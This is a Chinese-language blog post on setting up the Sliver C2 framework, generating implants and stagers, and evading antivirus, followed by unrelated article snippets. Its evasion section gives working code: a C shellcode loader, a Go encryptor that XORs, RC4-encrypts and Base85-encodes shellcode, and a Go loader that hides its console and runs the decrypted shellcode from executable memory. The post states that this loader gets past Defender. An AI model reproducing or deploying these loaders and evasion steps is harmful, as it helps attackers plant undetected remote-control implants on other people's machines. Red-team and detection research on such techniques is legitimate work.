红队C2工具Sliver探究与免杀

news2024/11/25 16:27:10

吉祥知识星球icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247485367&idx=1&sn=837891059c360ad60db7e9ac980a3321&chksm=c0e47eebf793f7fdb8fcd7eed8ce29160cf79ba303b59858ba3a6660c6dac536774afb2a6330&scene=21#wechat_redirect

《网安面试指南》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484339&idx=1&sn=356300f169de74e7a778b04bfbbbd0ab&chksm=c0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene=21#wechat_redirect

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

前言

官方文档:https://github.com/BishopFox/sliver/wiki 下载地址:https://github.com/BishopFox/sliver

快速搭建

方法一(慢到怀疑人生):

git拉取,源码构建(需要下载git以及go编译环境【go最好不低于1.20】)

$ git clone https://github.com/BishopFox/sliver.git
$ cd sliver

Sliver 嵌入了自己的 Go 编译器副本和一些内部工具,第一次运行makebash 脚本时会将这些资源下载到本地系统。这意味着第一次构建将比后续构建花费更长的时间默认情况下make将构建当前运行的任何平台:

$ make

这将创建sliver-serversliver-client的二进制文件。

交叉编译到特定平台

您还可以为文件指定目标平台make,尽管您可能需要交叉编译器(见下文):

$ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows
方法二(舒服):

github下载编译好的linux版本,上传到服务器

图片

启动服务端

#直接启动
./sliver-server_linux

#后台运行
yum install screen  #安装screen

screen  #启动

./sliver-server_linux

Ctrl + A + D #退出screen终端

screen r #重新进入

screen -D -r #强制进入

图片

image.png

支持多人运动

多人运动需要进行相关配置,启动后,server默认会监听一个端口31337,可以修改,位置在~/.sliver/configs/server.json

生成Client配置文件
new-operator --name xiaoai --lhost Server服务器IP #新建一个client
multiplayer #启用多用户

图片

image.png

将生成的后缀为.cfg的配置文件下载到本地,然后github下载windows客户端。导入配置文件如下,开启多人运动。

图片

生成shell

命令格式如下,缺点:(go打包,程序较大【10M+】)

generate --mtls <Server IP> --save ./test.exe --os Windows    #生成Windows木马
generate --mtls <Server IP> --save ./test.exe --os mac    #生成mac木马
generate --mtls <Server IP> --save ./test.exe --os linux  #生成linux木马

命令详解: --mtls:监听协议(包括http、mtls、grpc )

图片

开启监听

如上一步,我们生成shell所用的监听协议为mtls,故我们要配置mtls类型的监听。在终端执行命令

mtls

通过输入jobs命令,可以查看目前开启的监听。

图片

image.png

默认端口是8888 如果要指定端口,执行命令

mtls -l 9999

查看生成过的shell

implants

图片

image.png

运行shell后,server和client端都会得到会话的消息。可以通过sessions查看目前的会话

免杀探究

使用原版生成的木马,可以过电脑管家,但是Defender和360和火绒会被杀掉。

直接过电脑管家

直接双击运行,电脑管家无感知上线如下:会话操作

sessions -i id   #进入会话
sessions -k id   #杀掉会话(类似CS的exit,谨慎使用)

图片

image.png

简易Stager

在 Sliver C2 中,Stager 工作方式是基于一个配置文件(profiles),其中记载了一个 Implant(木马) 的所有定义及配置信息,该配置文件通过 profiles new 命令创建。

profiles new --http 127.0.0.1:9002 --skip-symbols --format shellcode --arch amd64 win64_stage   #生成配置文件
http -l 9002   #开启监听

在有了配置文件之后,就可以创建一个分阶段监听器,可通过 TCP 或 HTTP(S) 协议来传输 Sliver ShellCode 至目标主机上。

# 创建分阶段监听器(木马回连通信端口)
stage-listener --url tcp://127.0.0.1:8443 --profile win64_stage
# 创建Stager(shellcode)
generate stager --lhost 127.0.0.1 --lport 8443 --arch amd64 --format c

过程如下图:

图片

通信连接图如下:

图片

简单shellcode 加载器

使用C写的简单shellcode加载器,举个例子,这个编译出会直接被杀。

#include "windows.h"

int main()
{
    unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
...

    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();

    return 0;
}

思路这就打开了,和免杀CS一样了,各种加密混淆shellcode用来绕过杀软。

加密shellcode
package main

import (
 "crypto/rc4"
 "encoding/hex"
 "fmt"

 "github.com/eknkc/basex"
)

func main() {
 key := []byte("xiaoaiaq")                                                                                                 
 message := "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\......" // 原始消息

 // XOR 操作
 xordMessage := make([]byte, len(message))
 for i := 0; i < len(message); i++ {
  xordMessage[i] = message[i] ^ 0xff
 }

 // RC4 加密
 cipher, _ := rc4.NewCipher(key)
 rc4Message := make([]byte, len(xordMessage))
 cipher.XORKeyStream(rc4Message, xordMessage)

 // 转为十六进制
 hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))
 n := hex.Encode(hexCiphertext, rc4Message)
 hexCiphertext = hexCiphertext[:n]

 // Base85 编码
 base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
 encodedMessage := base85.Encode(hexCiphertext)

 fmt.Println(encodedMessage)
}

解密加载shellcode
package main
import (
    "crypto/rc4"
    "encoding/hex"
    "syscall"
    "unsafe"
    "github.com/eknkc/basex"
    "github.com/lxn/win"
    "golang.org/x/sys/windows"
)

func main() {

    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)

    key := []byte("xiaoaiaq")                                                                                        
    encodedMessage := "2^f3pZzEw)WqdyIsUOpY25$_kgn9_9Kue2kt%Ks+XEJCzoSerJ@IK^kNr|7Aiwamzt8g>&9m#z52lh=KnD!;7M4rwJ86>E$zvdNygVjaWO!>s7kQP;owW^?aZOaP!yVQ$lYx$e(rbb%gw#&ly6yreXU<LO~B!G575FerHX?~TC<0iP#&%?R@?~Fd......"
    // 编码后的消息

    // Base85 解码
    base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")

    hexCiphertext, _ := base85.Decode(encodedMessage)

    // 转为二进制
    rc4Message := make([]byte, hex.DecodedLen(len(hexCiphertext)))

    n, _ := hex.Decode(rc4Message, hexCiphertext)

    rc4Message = rc4Message[:n]

    // RC4 解密
    cipher, _ := rc4.NewCipher(key)

    xordMessage := make([]byte, len(rc4Message))

    cipher.XORKeyStream(xordMessage, rc4Message)

    // XOR 操作
    message := make([]byte, len(xordMessage))

    for i := 0; i < len(xordMessage); i++ {

        message[i] = xordMessage[i] ^ 0xff

    }

    kernel32, _ := syscall.LoadDLL("kernel32.dll")

    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(message))

    mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, message)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)

}
过Defender

启动Defender,成功上线如下:

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2118046.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【QCA(定性比较分析)组态研究】01 基础入门

【目录】 1.理论入门1.1和个案分析的区别1.2 QCA的特点因果非对称:殊途同归:1.3 什么时候用到QCA2.QCA的一般步骤3.QCA论文精读1.理论入门 QCA(定性比较分析)是一种探索性研究方法,旨在通过系统地比较不同案例的条件组合,识别出影响结果的因果关系。它结合了定性和定量分…

HarmonyOS Next系列之实现一个左右露出中间大两边小带缩放动画的轮播图(十二)

系列文章目录 HarmonyOS Next 系列之省市区弹窗选择器实现&#xff08;一&#xff09; HarmonyOS Next 系列之验证码输入组件实现&#xff08;二&#xff09; HarmonyOS Next 系列之底部标签栏TabBar实现&#xff08;三&#xff09; HarmonyOS Next 系列之HTTP请求封装和Token…

ASP.NET Core 中间件

一、什么是中间件&#xff1f; 中间件 是一种装配到 ASP.NET Core 应用程序请求处理管道中的软件组件&#xff0c;用于处理 HTTP 请求和响应。 每个中间件组件可以&#xff1a; 选择是否将请求传递到下一个中间件&#xff1a;通过调用 next() 或者不调用 next() 来决定是否将…

HTML5中的数据存储sessionStorage、localStorage

第8章 HTML5中的数据存储 之前通常使用Cookie存储机制将数据保存在用户的客户端。 H5增加了两种全新的数据存储方式&#xff1a;Web Stroage和Web SQL Database. 前者用于临时或永久保存客户端少量数据&#xff0c;后者是客户端本地化的一套数据库系统。 8.1 Web Storage存…

日本“大米荒”持续!政府再次拒绝投放储备米

KlipC报道&#xff1a;日本多地从7月开始出现“大米荒”&#xff0c;有部分新米上市&#xff0c;但是许多超市的大米仍然存在断购或限购的情况&#xff0c;并且部分新米价格上涨至去年同期的两倍。大阪府官员再次呼吁日本中央政府尽快投放储备米以缓解供应紧张&#xff0c;但遭…

Dynamics CRM Ribbon Workbench-the solution contains non-entity components

今天在一个低版本的环境里准备用Ribbon Workbench去编辑一个按钮时&#xff0c;遇到了如下错误 一开始没当回事&#xff0c;以为是我的解决方案问题&#xff0c;去检查了下&#xff0c;只有一个组件&#xff0c;并且哪怕我把组件换成了某个实体也不行&#xff0c;尝试了其他任何…

开源NAS系统-OpenMediaVault(OMV)共享存储网盘搭建和使用(保姆级教程)

1、OpenMediaVault简介 OpenMediaVault,简称:OMV,是由原 FreeNAS 核心开发成员 Volker Theile 发起的基于 Debian Linux 的开源 NAS 操作系统,主要面向家庭用户和小型办公环境。 OpenMediaVault是一款基于Debian Linux的开源网络附加存储(NAS)操作系统,它提供了强大的存…

酒店智能轻触开关:智慧化的创新实践

在追求高品质住宿体验的今天&#xff0c;酒店智能轻触开关作为智慧酒店建设的关键一环&#xff0c;正逐步成为提升酒店服务品质、优化运营效率、增强顾客满意度的有力工具。本文将深入探讨酒店智能轻触开关如何助力酒店实现智慧化管理&#xff0c;以及它所带来的多重变革。 一、…

大模型时代下,nlp初学者需要怎么入门?

前言 自从 ChatGPT 横空出世以来&#xff0c;自然语言处理&#xff08;Natural Language Processing&#xff0c;NLP&#xff09;研究领域就出现了一种消极的声音&#xff0c;认为大模型技术导致 NLP “死了”。 有人认为 NLP 的市场肯定有&#xff0c;但 NLP 的研究会遇到麻…

图片产生3D模型

HyperHuman 上传图片&#xff0c;点击生成 可以多生成几次&#xff0c;点击应用 让效果再好一点 生成完成之后可以导出为fbx格式

实战|等保2.0 Oracle数据库测评过程

以下等保测评过程以Oracle 11g为例&#xff0c;通过PL/SQL进行管理&#xff0c;未进行任何配置、按照等保2.0标准&#xff0c;2021报告模板&#xff0c;三级系统要求进行测评。 一、身份鉴别 a) 应对登录的用户进行身份标识和鉴别&#xff0c;身份标识具有唯一性&#xff0c;…

E212: Can‘t open file for writing

如图 1. 查看当前用户的用户名和所属组 如果你只想查看当前登录用户的用户名和所属组&#xff0c;可以使用以下命令&#xff1a; whoami groups 检查文件和目录权限&#xff1a; ls -ld /private/var/log/wyhy ls -l /private/var/log/wyhy/market.log 修改文件权限&#…

RAKsmart美国大带宽服务器租用体验怎么样?

RAKsmart是一家提供全球服务器租用服务的知名供应商&#xff0c;其在美国的服务器产品种类多样&#xff0c;包括大带宽服务器、多IP站群服务器以及高防御服务器等&#xff0c;以适应不同业务的需求。rak小编为您整理发布。 下面是对RAKsmart美国大带宽服务器租用的具体介绍&…

计算机毕业设计 大学志愿填报系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

随机分类,保持均衡水平Python

1、目的&#xff1a; 10000个样本有4个指标&#xff0c;按照逾期金额分10类&#xff0c;确保每类别逾期金额均衡。 2、数据&#xff1a; 3、思路&#xff1a; 将10000个样本按照逾期金额排序&#xff0c; 等距分箱为2500个类别 增加一列随机数 根据类别和随机数升序排列 增加…

MCU6.用keil新建项目

1.新建项目 打开keil4 2.选择单片机的类型 STC并没有出现在其中,但兼容8051芯片,选Atmel的AT89C51或AT89C52均可 本文选AT89C52 弹出的窗口点否 3.查看项目 4.新建文件 5.保存文件 6.将文件添加到工程 双击Source Group 1 点击Add 7.添加已有的工程 如果要添加已有的工程 8…

Java并发编程实战 09 | 为什么需要

什么是守护线程&#xff1f; 守护线程&#xff08;Daemon Thread&#xff09;是Java中的一种特殊线程&#xff0c;那么相对于普通线程它有什么特别之处呢&#xff1f; 在了解守护线程之前&#xff0c;我们先来思考一个问题&#xff1a;JVM在什么情况下会正常退出&#xff1f;…

腾讯公众号种类这么多,为什么小程序能脱颖而出

在微信公众平台中&#xff0c;公众号和小程序是两种不同的功能实体&#xff0c;它们各自承担着不同的角色和使命。然而&#xff0c;随着小程序的崛起&#xff0c;它在众多功能中逐渐脱颖而出&#xff0c;成为商家和开发者的新宠。具体分析如下&#xff1a; 技术优势与用户体验 …

深入探索协同过滤:从原理到推荐模块案例

文章目录 前言一、协同过滤1. 基于用户的协同过滤&#xff08;UserCF&#xff09;2. 基于物品的协同过滤&#xff08;ItemCF&#xff09;3. 相似度计算方法 二、相似度计算方法1. 欧氏距离2. 皮尔逊相关系数3. 杰卡德相似系数4. 余弦相似度 三、推荐模块案例1.基于文章的协同过…

顶点照明渲染路径

1. 顶点照明渲染路径处理光照的方式 基本思想就是所有的光都按照逐顶点的方式进行计算的&#xff0c;在内置渲染管线中&#xff0c;它只会最多记录8个光源的数据&#xff0c;只会将光相关的数据填充到那些逐顶点相关的内置光源变量 顶点照明渲染路径仅仅是前向渲染路径的一个…